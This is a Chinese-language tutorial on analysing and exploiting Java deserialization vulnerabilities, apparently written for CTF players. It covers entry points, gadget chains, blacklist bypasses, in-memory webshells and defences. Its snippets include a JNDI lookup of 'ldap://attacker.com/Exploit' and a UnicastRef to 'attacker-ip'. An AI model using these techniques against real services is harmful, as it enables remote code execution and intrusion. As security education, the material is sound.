浅析Java反序列化题目的一般思路
字数 1574 2025-08-30 06:50:35
Java反序列化漏洞分析与利用指南
前言
Java反序列化漏洞是近年来安全领域的重要议题,本文将从实战角度全面剖析Java反序列化漏洞的发现、分析与利用方法,涵盖原生反序列化、Jackson/FastJson等主流框架的漏洞利用技术。
一、反序列化入口点分析
1.1 原生反序列化入口点
原生Java反序列化的典型入口点包括:
ObjectInputStream.readObject()方法ObjectInputStream.readUnshared()方法- 任何直接或间接调用上述方法的代码路径
识别特征:
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 危险的反序列化点
1.2 Jackson/FastJson反序列化
Jackson特征:
ObjectMapper.readValue()方法- 启用多态类型处理的
@JsonTypeInfo注解
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 开启多态类型处理
Object obj = mapper.readValue(jsonString, Object.class); // 潜在漏洞点
FastJson特征:
JSON.parse()/JSON.parseObject()方法- 开启
Feature.SupportNonPublicField特性
Object obj = JSON.parse(jsonString, Feature.SupportNonPublicField); // 危险用法
1.3 框架自写反序列化
Hessian2特征:
Hessian2Input.readObject()方法- 常用于Dubbo等RPC框架
Kryo特征:
Kryo.readClassAndObject()方法- 需要配置
setRegistrationRequired(false)才易受攻击
二、Gadget构造技术
2.1 构造前的准备工作
-
目标环境分析:
- 确定目标使用的JDK版本
- 识别目标依赖的第三方库及其版本
- 分析可能的类加载机制
-
可利用链特征:
- 从
readObject方法开始的调用链 - 包含危险操作(如Runtime.exec、Method.invoke等)的终点
- 无参或可控参数的构造函数
- 从
2.2 常用Gadget构造方法
2.2.1 UnicastRef利用
适用于RMI场景:
UnicastRef ref = new UnicastRef(new LiveRef(
new ObjID(0),
new TCPEndpoint("attacker-ip", 1099),
false
));
2.2.2 TemplatesImpl链
通用性强的利用链:
TemplatesImpl templates = new TemplatesImpl();
// 设置_bytecodes、_name等字段通过反射
templates.newTransformer(); // 触发字节码加载执行
2.2.3 JNDI注入
适用于JDK版本<8u191:
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://attacker.com/Exploit");
2.3 常用依赖库
-
commons-collections:
- 3.2.1及以下版本存在经典利用链
- 关键类:
InvokerTransformer、ConstantTransformer、ChainedTransformer
-
groovy:
MethodClosure等类可用于构造利用链
-
jackson-databind:
- 存在多种黑名单绕过利用链
-
fastjson:
- 利用
autoType特性构造攻击
- 利用
三、实战利用技巧
3.1 绕过防御机制
-
黑名单绕过:
- 使用冷门或新出现的Gadget链
- 组合多个库的类构造混合链
-
无回显利用:
- DNS外带数据
- 延时检测
- 报错回显
-
内存马注入:
- 反序列化后植入Filter/Servlet内存马
- 利用Tomcat API注册恶意组件
3.2 工具推荐
-
ysoserial:
- 包含多种现成Gadget链
- 支持生成Payload
-
marshalsec:
- 用于启动恶意的RMI/LDAP服务
- 支持多种协议转换
-
GadgetInspector:
- 自动化分析Gadget链
- 辅助发现新的利用路径
四、防御建议
-
输入验证:
- 对反序列化数据实施严格白名单控制
-
安全配置:
- 关闭不必要的反序列化功能
- 更新到最新安全补丁
-
运行时防护:
- 使用SecurityManager限制危险操作
- 部署RASP防护
-
替代方案:
- 使用JSON等更安全的序列化格式
- 实现自定义的序列化机制
结语
Java反序列化漏洞的挖掘与利用需要深入理解Java机制和各类框架实现,随着防御措施的加强,攻击技术也在不断演进。安全研究人员应持续跟踪最新进展,同时开发人员应重视反序列化操作的安全风险,采取适当的防护措施。